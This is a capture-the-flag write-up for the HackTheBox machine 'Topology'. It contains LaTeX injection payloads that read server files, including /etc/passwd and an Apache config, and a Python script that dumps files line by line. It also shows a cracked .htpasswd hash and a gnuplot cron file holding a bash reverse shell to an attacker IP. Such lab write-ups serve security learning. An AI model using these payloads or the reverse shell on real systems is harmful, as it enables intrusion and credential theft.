Topology is an easy linux machine on HackTheBox. It starts with exploiting a custom LaTeX parser to get LFI and leak creds to get a foothold on the box. Root involves exploiting gnuplot.
Info
Recon
NMAP
(Scan missed port 22 for some reason, but it’s open)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Nmap 7.80 scan initiated Wed Aug 16 23:23:05 2023 as: nmap -sC -sV -oN nmap.txt -v -T5 -Pn 10.10.11.217
Warning: 10.10.11.217 giving up on port because retransmission cap hit (2).
Increasing send delay for 10.10.11.217 from 0 to 5 due to 11 out of 23 dropped probes since last increase.
Nmap scan report for 10.10.11.217
Host is up (0.24s latency).
Not shown: 748 filtered ports, 251 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Miskatonic University | Topology Group
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Aug 16 23:25:23 2023 -- 1 IP address (1 host up) scanned in 138.92 seconds
Web
The homepage links to a subdomain;
I added it to my /etc/hosts
file and load it up;
The page accepts our input in LaTeX and generate a PNG file out of it;
LaTeX is a powerful and obscure language, so I started looking for cheatsheets and reading docs. The simple latex code \input{/etc/hostname}
can be used to read a file, but the application seems to block it;
Foothold
Many other useful commands were blocked. I was able to read files one line at a time using the payload;
1
\newread\file \openin\file=/etc/passwd \read\file to\line \text{\line} \closein\file
I tried adding a loop to this payload, but that was blocked too by the application. So I wrote a script that will sequentially expand the payload to read files one line at a time, and parse the response using OCR provided by the library pytesseract
;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/bin/python3
#--------------------------------------------------------------------
# A script to dump files one line at a time for Topology - HackTheBox
# Author: 4g3nt47
#--------------------------------------------------------------------
from PIL import Image
import pytesseract
import sys, requests
fname = sys.argv[1]
tmp = "output.png"
count = 1
while True:
payload = "\\newread\\file \\openin\\file=" + fname + " " + ("\\read\\file to\\line " * count) + "\\text{\\line} \\closein\\file"
req = requests.get("http://latex.topology.htb/equation.php", params={"eqn":payload})
if int(req.headers['Content-Length']) == 0:
break
if req.headers['Content-Type'] != "image/png":
print(f"[-] Error obtaining line {count}")
break
wfo = open(tmp, "wb")
wfo.write(req.content)
wfo.close()
print(pytesseract.image_to_string(Image.open(tmp)).rstrip())
count += 1
This seems to work at first, but the problem with this approach is that with every line read, the size of our payload increases by several bytes. After a few lines, we exceeded the input limit of the web app;
Going back to PayloadAllTheThings, I noticed something at the beginning of the page;
Trying the $
character as a wrapper for one of the payloads, I was able to read a file successfully;
1
$\lstinputlisting{/etc/passwd}$
From the HTTP headers we know the server is running Apache2, so I dumped it’s default config file;
1
$\lstinputlisting{/etc/apache2/sites-enabled/000-default.conf}$
This revealed a new subdomain, so I added it to my /etc/hosts
file. Loading the page, I was prompted for a login;
The request generated showed it’s a basic HTTP authentication;
This is usually configured in Apache2 using .htaccess
files. Since the config told us the web root for this domain is at /var/www/dev
, I used the LaTeX LFI to check for /var/www/dev/.htaccess
;
Dumping the contents of /var/www/dev/.htpasswd
gave me a hash;
Feeding this to john
, I was able to crack it;
We know from /etc/passwd
that vdaisley
is a valid user, so I tried the password over SSH, and it worked;
PrivEsc
vdaisley
does not have sudo perms, nor in any interesting group. Running pspy
on the box picked up something interesting;
It looks like there is a cron job running as root
, and passing all files inside /opt/gnuplot
to gnuplot
command. According to apt info gnuplot
, it is a;
Command-line driven interactive plotting program. Gnuplot is a portable command-line driven interactive data and function plotting utility that supports lots of output formats, including drivers for many printers, (La)TeX, (x)fig, Postscript, and so on. The X11-output is packaged in gnuplot-x11.
The /opt/gnuplot
directory is globally writable, which means we can drop .plt
files in there to be processed by gnuplot
;
gnuplot can be instructed to run a shell command using the system()
function. So I created a simple .plt
file to spawn a rev shell;
1
system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.73/4444 0>&1'")
Downloading it into the /opt/gnuplot
directory, I got a callback after a few seconds;
Summary
- NMAP found port 80
- Found a web app for testing LaTeX code;
- Exploited it to gain LFI and leak a hash from
.htpasswd
file - Cracked it and gained access over SSH as
vdaisley
- Exploited it to gain LFI and leak a hash from
- Inside as
vdaisley
;- Identified a running cron job that process
.plt
files inside a globally writable directory. - Exploited it to gain code execution as
root
.
- Identified a running cron job that process